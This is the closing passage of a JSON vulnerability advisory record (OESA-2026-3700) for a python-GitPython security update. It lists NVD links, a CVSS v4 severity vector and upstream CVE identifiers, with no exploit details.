      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73624"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73625"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76217"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76218"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76219"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76220"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76221"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76222"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78675"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78676"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78677"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78679"
    }
  ],
  "schema_version": "1.7.2",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "python-GitPython security update",
  "upstream": [
    "CVE-2026-73619",
    "CVE-2026-73620",
    "CVE-2026-73621",
    "CVE-2026-73622",
    "CVE-2026-73623",
    "CVE-2026-73624",
    "CVE-2026-73625",
    "CVE-2026-76217",
    "CVE-2026-76218",
    "CVE-2026-76219",
    "CVE-2026-76220",
    "CVE-2026-76221",
    "CVE-2026-76222",
    "CVE-2026-78675",
    "CVE-2026-78676",
    "CVE-2026-78677",
    "CVE-2026-78679"
  ]
}

OESA-2026-3700 (CVE-2026-73619)